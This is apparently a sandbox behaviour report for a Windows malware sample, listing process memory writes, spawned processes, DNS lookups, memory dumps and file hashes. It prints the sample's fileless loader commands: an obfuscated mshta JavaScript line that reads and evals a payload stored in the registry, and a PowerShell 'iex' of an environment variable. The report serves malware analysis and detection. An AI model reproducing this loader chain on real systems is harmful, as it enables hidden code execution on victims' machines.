PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 3780 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe
PID 5084 wrote to memory of 5888 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5084 wrote to memory of 5888 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5084 wrote to memory of 5888 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\82fa69b0a13f32305d13dc88c2f3fbed_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:klt2CCTs="IIJfm";nL69=new%20ActiveXObject("WScript.Shell");CJ8VVzvUs="EBl";Jz29It=nL69.RegRead("HKLM\\software\\Wow6432Node\\6H4nnH3725\\OrcUdj");S1N7EniB="u9lOB";eval(Jz29It);ZVRjPW00h="VnIg17";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:oxpjlkww

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/4372-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4372-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4372-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4372-9-0x00000000009B0000-0x0000000000A84000-memory.dmp

memory/4372-13-0x00000000009B0000-0x0000000000A84000-memory.dmp

memory/4372-12-0x00000000009B0000-0x0000000000A84000-memory.dmp

memory/4372-10-0x00000000009B0000-0x0000000000A84000-memory.dmp

memory/4372-11-0x00000000009B0000-0x0000000000A84000-memory.dmp

memory/4372-14-0x00000000009B0000-0x0000000000A84000-memory.dmp

memory/4372-15-0x00000000009B0000-0x0000000000A84000-memory.dmp

memory/5888-17-0x0000000002840000-0x0000000002876000-memory.dmp

memory/5888-18-0x0000000005220000-0x0000000005848000-memory.dmp

memory/5888-19-0x00000000051B0000-0x00000000051D2000-memory.dmp

memory/5888-21-0x00000000059F0000-0x0000000005A56000-memory.dmp

memory/5888-20-0x0000000005980000-0x00000000059E6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d04aguz5.lrd.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5888-31-0x0000000005A60000-0x0000000005DB4000-memory.dmp

memory/5888-32-0x0000000005F50000-0x0000000005F6E000-memory.dmp

memory/5888-33-0x0000000005F90000-0x0000000005FDC000-memory.dmp

memory/5888-34-0x0000000007670000-0x0000000007CEA000-memory.dmp

memory/5888-35-0x0000000007010000-0x000000000702A000-memory.dmp